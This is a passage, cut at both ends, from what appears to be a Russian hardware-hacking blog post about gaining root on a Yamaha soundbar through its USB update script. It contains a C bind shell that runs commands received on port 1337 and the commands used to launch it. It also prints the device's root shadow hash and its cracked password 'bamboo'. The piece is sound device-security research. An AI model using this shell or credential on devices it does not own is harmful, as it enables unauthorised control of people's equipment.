\u0431\u044d\u043a\u0434\u043e\u0440?<\/figcaption><\/div>\n<\/figure>\n<p>\u042d\u0442\u043e \u0441\u0430\u043c\u043e\u0435 \u043d\u0430\u0447\u0430\u043b\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042f \u0441\u0440\u0430\u0437\u0443 \u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043d\u0430 \u044d\u0442\u043e\u0442 \u043a\u0443\u0441\u043e\u043a, \u0442\u0443\u0442 \u0436\u0435 \u043f\u0435\u0440\u0435\u0448\u0451\u043b \u043a \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432. \u0410 \u0432\u043e\u0442 \u0438 \u0437\u0440\u044f! \u0421\u0430\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>\/media\/<\/code> \u2014 \u044d\u0442\u043e \u043d\u0430\u0448\u0430 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f USB-\u0444\u043b\u0435\u0448\u043a\u0430. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0438\u0449\u0435\u0442 \u0442\u0430\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u0438\u043a <code>yamaha_usb_upgrade.sh<\/code>, \u0445\u043e\u0442\u044f \u043c\u044b \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0444\u043b\u0435\u0448\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0438\u043a \u0441 \u0432\u0435\u0440\u0441\u0438\u0435\u0439. \u041d\u0435\u0443\u0436\u0435\u043b\u0438 \u0431\u044d\u043a\u0434\u043e\u0440 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445?! \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c.<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0430\u0439\u043b\u0438\u043a <code>yamaha_usb_upgrade.sh<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u044b\u0432\u0435\u0434\u0435\u0442 \u043d\u0430\u043c \u0432\u0441\u0435 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b:<\/p>\n<pre><code class=\"bash\">\/bin\/mount > \/media\/mount.txt<\/code><\/pre>\n<p>\u0417\u0430\u0436\u0438\u043c\u0430\u0435\u043c \u043a\u043d\u043e\u043f\u043a\u0438 <code>VOLUME-<\/code> \u0438 <code>POWER<\/code>, \u043f\u043e\u043a\u0430 \u043b\u0430\u043c\u043f\u043e\u0447\u043a\u0430 Wi-Fi \u043d\u0435 \u043d\u0430\u0447\u043d\u0451\u0442 \u043c\u0438\u0433\u0430\u0442\u044c \u2014 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0448\u0451\u043b. \u041a\u043e\u0433\u0434\u0430 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0441\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0444\u043b\u0435\u0448\u043a\u0443 \u0438\u2026 \u0432\u0443\u0430\u043b\u044f:<\/p>\n<details class=\"spoiler\">\n<summary>mount.txt<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">ubi0:aud8516-consys-slc-rootfs on \/ type ubifs (rw,relatime) devtmpfs on \/dev type devtmpfs (rw,relatime,size=56156k,nr_inodes=14039,mode=755) sysfs on \/sys type sysfs (rw,nosuid,nodev,noexec,relatime) proc on \/proc type proc (rw,relatime) tmpfs on \/dev\/shm type tmpfs (rw,nosuid,nodev) devpts on \/dev\/pts type devpts (rw,relatime,gid=5,mode=620) tmpfs on \/run type tmpfs (rw,nosuid,nodev,mode=755) tmpfs on \/sys\/fs\/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) cgroup  on \/sys\/fs\/cgroup\/systemd type cgroup  (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=\/lib\/systemd\/systemd-cgroups-agent,name=systemd) cgroup on \/sys\/fs\/cgroup\/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) configfs on \/sys\/kernel\/config type configfs (rw,relatime) debugfs on \/sys\/kernel\/debug type debugfs (rw,relatime) tmpfs on \/tmp type tmpfs (rw) mqueue on \/dev\/mqueue type mqueue (rw,relatime) ubi1_0 on \/data type ubifs (rw,relatime,sync) ubi1_0 on \/var type ubifs (rw,relatime,sync) tmpfs on \/tmp type tmpfs (rw,relatime,size=81920k) tmpfs on \/var\/volatile type tmpfs (rw,relatime) tmpfs on \/data\/var\/volatile type tmpfs (rw,relatime) adb on \/dev\/usb-ffs\/adb type functionfs (rw,relatime) \/dev\/sda1  on \/media type vfat  (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0421\u0440\u0430\u0437\u0443 \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0451 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 <code>rw<\/code> (read-write). \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u044b \u0441 \u043d\u0430\u0448\u0438\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u043d\u044b\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c \u043c\u043e\u0436\u0435\u043c \u0442\u0432\u043e\u0440\u0438\u0442\u044c \u0432\u043e\u043e\u0431\u0449\u0435 \u0432\u0441\u0451 \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e! \u0418 \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043c\u043d\u0435, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u0437\u0430\u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440  \u0447\u0435\u0440\u0435\u0437 telnetd. \u041f\u043e\u043a\u043e\u043f\u0430\u0432\u0448\u0438\u0441\u044c \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 busybox, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442,  \u0432\u0441\u0451 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043b\u0438 \u0432 \u043d\u0451\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 telnetd,  ftpd \u0438 \u0442. \u043f. \u041a\u0430\u043a \u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043f\u043e\u0437\u0436\u0435, \u043d\u0435\u0442, \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b. \u0417\u043d\u0430\u0447\u0438\u0442, \u0441\u043d\u0430\u0447\u0430\u043b\u0430  \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0441\u0432\u043e\u0439.<\/p>\n<p>\u041f\u043e\u043a\u0430 \u044f \u0438\u0441\u043a\u0430\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 busybox\/telnetd, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 static \u043f\u043e\u0434 ARM64, \u044f \u0431\u044b\u0441\u0442\u0440\u0435\u043d\u044c\u043a\u043e \u043d\u0430\u0432\u0430\u044f\u043b \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 stackoverflow \u0438 Github:<\/p>\n<details class=\"spoiler\">\n<summary>shell_c.c<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cpp\">#include &lt;stdio.h>   #include &lt;unistd.h> #include &lt;sys\/types.h>    #include &lt;sys\/socket.h>   #include &lt;netinet\/in.h>   #include &lt;string.h>    int host_sockid; int client_sockid;        struct sockaddr_in hostaddr;    int main() {       host_sockid = socket(PF_INET, SOCK_STREAM, 0);          hostaddr.sin_family = AF_INET;       hostaddr.sin_port = htons(1337);       hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);        bind(host_sockid, (struct sockaddr*) &amp;hostaddr, sizeof(hostaddr));        listen(host_sockid, 2);      char buf[8192]; char tmp[8192]; char pp[256];  while (1) { client_sockid = accept(host_sockid, NULL, NULL);  memset(buf, 0, sizeof(buf)); memset(tmp, 0, sizeof(tmp)); memset(pp, 0, 256);  int sz = recv(client_sockid, buf, sizeof(buf), 0); buf[sz] = 0; snprintf(tmp, 8192, \"%s 2>&amp;1\", buf);   FILE* stream = popen(tmp, \"r\");  if (stream) {     while (!feof(stream)) { if (fgets(pp, 256, stream) != NULL) { int len = strlen(pp); send(client_sockid, pp, len, 0); } } }  close(client_sockid); pclose(stream); }       close(host_sockid);              return 0;   } <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0422\u0443\u0442 \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u0443 \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 1337, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043a \u043d\u0435\u0439 \u0432\u044b\u0432\u043e\u0434 <code>stderr<\/code> \u0438 <code>stdout<\/code>,\u00a0\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0432 <code>popen()<\/code>, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0435\u0431\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u043e.<\/p>\n<p>\u041f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a \u0448\u0435\u043b\u043b\u0430 \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u0430:<\/p>\n<pre><code class=\"bash\">chmod +x \/media\/shell_c \/media\/shell_c &amp;<\/code><\/pre>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0443 \u043c\u0435\u043d\u044f \u044d\u0442\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e. \u0421\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043d\u0430 FAT32 \u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u043d\u0430\u0440\u044c \u043a\u0443\u0434\u0430-\u0442\u043e \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432 <code>\/usr\/bin<\/code>:<\/p>\n<pre><code class=\"bash\">cp \/media\/shell_c \/usr\/bin\/shell_c chmod +x \/usr\/bin\/shell_c \/usr\/bin\/shell_c &amp;<\/code><\/pre>\n<p>\u0412 \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0440\u0430\u0437 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043a\u043e\u043b\u043e\u043d\u043a\u0443, \u0432\u0442\u044b\u043a\u0430\u0435\u043c \u0444\u043b\u0435\u0448\u043a\u0443, \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c nmap-\u043e\u043c:<\/p>\n<pre><code class=\"bash\">sudo nmap -p1337 192.168.0.164<\/code><\/pre>\n<p>\u041b\u0430\u0440\u0447\u0438\u043a, \u043a\u0430\u043a \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c, \u043e\u0442\u043a\u0440\u044b\u043b\u0441\u044f, \u0438 \u043c\u043e\u0435\u0439 \u0440\u0430\u0434\u043e\u0441\u0442\u0438 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u0435\u043b\u0430! \u0414\u043b\u044f \u043f\u0440\u043e\u0431\u044b \u0432\u0432\u043e\u0434\u0438\u043c <code>ls \/<\/code> \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043a\u043e\u0440\u043d\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u042d\u0442\u043e \u043f\u043e\u0431\u0435\u0434\u0430! \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 busybox \u043f\u043e\u0434\u043b\u043e\u0436\u0438\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a \u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0442\u0430\u043a\u0438 \u043d\u0430\u0448\u0451\u043b\u0441\u044f: <a href=\"https:\/\/github.com\/EXALAB\/Busybox-static\/blob\/main\/busybox_arm64\">busybox_arm64<\/a>. \u0411\u0443\u0434\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u0435\u0449\u0451 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b, \u0430 \u043f\u043e\u0442\u043e\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430.<\/p>\n<h3>\u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c telnetd<\/h3>\n<p>\u0418\u0442\u0430\u043a, <code>busybox_arm64 telnetd<\/code> \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0441\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e, \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 23\/TCP \u2014 \u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043e\u0439\u0442\u0438, \u043d\u043e \u043d\u0430\u0441 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u044c\u0431\u0430 \u0432\u0432\u0435\u0441\u0442\u0438 \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c.<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/01d\/d00\/d2f\/01dd00d2fd696b39eb19f84b1c6fc3b5.png\" alt=\"Hello, SoundBarSetup_F2A6\" title=\"Hello, SoundBarSetup_F2A6\" width=\"412\" height=\"201\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/01d\/d00\/d2f\/01dd00d2fd696b39eb19f84b1c6fc3b5.png\"\/><\/p>\n<div><figcaption>Hello, SoundBarSetup_F2A6<\/figcaption><\/div>\n<\/figure>\n<p>\u0418\u0449\u0435\u043c \u043f\u043e \u0440\u0430\u043d\u0435\u0435 \u0441\u0434\u0430\u043c\u043f\u043b\u0435\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 <code>shadow<\/code> \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<pre><code class=\"assembly\">root:$6$WXQ1C\/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28\/OuVz5E0:19146:0:99999:7::: daemon:*:19146:0:99999:7::: bin:*:19146:0:99999:7::: sys:*:19146:0:99999:7::: sync:*:19146:0:99999:7::: games:*:19146:0:99999:7::: man:*:19146:0:99999:7::: lp:*:19146:0:99999:7::: mail:*:19146:0:99999:7::: news:*:19146:0:99999:7::: uucp:*:19146:0:99999:7::: proxy:*:19146:0:99999:7::: www-data:*:19146:0:99999:7::: backup:*:19146:0:99999:7::: list:*:19146:0:99999:7::: irc:*:19146:0:99999:7::: gnats:*:19146:0:99999:7::: ntp:!:19146:::::: systemd-timesync:!:19146:::::: messagebus:!:19146:::::: nobody:*:19146:0:99999:7:::<\/code><\/pre>\n<p>\u0412\u0438\u0434\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>root<\/code> \u0438 \u0435\u0433\u043e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. \u041d\u0435 \u0442\u0435\u0440\u044f\u044f \u043d\u0430\u0434\u0435\u0436\u0434\u044b \u0434\u043e\u0431\u0438\u0442\u044c \u0436\u0435\u043b\u0435\u0437\u043a\u0443, \u0441\u0443\u0451\u043c \u0441\u0442\u0440\u043e\u0447\u043a\u0443 \u0432 <code>hashcat<\/code> \u0438\u2026 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0430 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c:<\/p>\n<pre><code>$6$WXQ1C\/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28\/OuVz5E0:bamboo<\/code><\/pre>\n<p>\u0414\u0430, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u043e\u043c\u043d\u0435\u043d\u043d\u043e \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435! \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043b\u043e\u0433\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0443 \u0441\u0430\u043c\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443 \u0438\u0437 \u043a\u043e\u043d\u0446\u043e\u0432\u043a\u0438 \u043f\u0435\u0440\u0432\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/19a\/b38\/86c\/19ab3886c71ae866e08ae2a81c89521d.png\" alt=\"root:bamboo\" title=\"root:bamboo\" width=\"460\" height=\"215\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/19a\/b38\/86c\/19ab3886c71ae866e08ae2a81c89521d.png\"\/><\/p>\n<div><figcaption>root:bamboo<\/figcaption><\/div>\n<\/figure>\n<p>\u0427\u0442\u043e \u0436, \u0434\u0435\u0432\u0430\u0439\u0441 \u043f\u043e\u0432\u0435\u0440\u0436\u0435\u043d! \u0425\u043e\u0442\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u0435\u0449\u0451 \u0438 FTP \u043f\u043e\u0434\u043d\u044f\u0442\u044c, \u0437\u0430\u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u044e \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432 <code>.tar.gz<\/code>  \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0430 \u0444\u043b\u0435\u0448\u043a\u0443. \u041d\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0434\u0435\u043b\u043e\u043c \u0443\u0436\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043d\u044f. \u0410 \u043f\u043e\u043a\u0430  \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0442\u0430\u043a\u0438 \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043a \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u2014 \u0437\u0430\u0436\u0434\u0430\u043b\u0438\u0441\u044c \u0436\u0435!<\/p>\n<h3>\u0417\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f<\/h3>\n<p>\u0412\u0441\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c \u043a\u0440\u0430\u0441\u0438\u0432\u044b\u0439 \u0441\u043a\u0440\u0438\u043d \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 <code>UPG_Gen_USB_upgrade()<\/code> \u0438 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u0432\u044b\u0437\u043e\u0432\u043e\u043c <code>prepare_keys()<\/code>. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d8d\/8bf\/eea\/d8d8bfeeac34da410cd783e62de21ef8.png\" alt=\"Tmpx93st93_iv ^ Tmpx93st93_key = AES\" title=\"Tmpx93st93_iv ^ Tmpx93st93_key = AES\" width=\"729\" height=\"348\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d8d\/8bf\/eea\/d8d8bfeeac34da410cd783e62de21ef8.png\"\/><\/p>\n<div><figcaption><code>Tmpx93st93_iv ^ Tmpx93st93_key = AES<\/code><\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u0441\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u043e \u0441\u0443\u0442\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430 \u0442\u0440\u0438 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0431\u043b\u043e\u043a\u0430, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 <code>k1<\/code> (\u043f\u043e\u0434\u0441\u0432\u0435\u0447\u0435\u043d), <code>k2<\/code> \u0438 <code>k3<\/code>. \u041f\u043e\u0441\u043b\u0435 \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043b\u044e\u0447\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 base64, \u0438 \u0438\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (<code>reversed(str)<\/code>) \u043a\u0430\u0436\u0434\u043e\u0439 \u0435\u0433\u043e \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 <code>decode_str()<\/code>, \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b <code>\/tmp\/TmpAES<\/code> \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0437\u043e\u0432 <code>openssl<\/code>.<\/p>\n<p>\u0410 \u0432\u043e\u0442 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043c\u0430\u0433\u0438\u044f: \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 <em>TmpAES<\/em> \u0445\u0440\u0430\u043d\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e aes-128-cbc. \u041d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 <code>Tmpx93st93_iv<\/code> \u0438 \u043a\u043b\u044e\u0447 <code>Tmpx93st93_key<\/code> \u043f\u043e\u043a\u0430 \u043d\u0435\u0437\u0432\u0435\u0441\u0442\u043d\u044b. \u0418\u0449\u0435\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044d\u0442\u0438\u043c \u043f\u043e\u043b\u044f\u043c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b <code>g_wiimu_shm,<\/code> \u0432\u044b\u044f\u0441\u043d\u044f\u0435\u043c, \u0447\u0442\u043e \u0432 <code>rootApp<\/code> \u0438\u0445 \u043d\u0435\u0442. \u0421\u0430\u043c\u0430 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0430\u044f 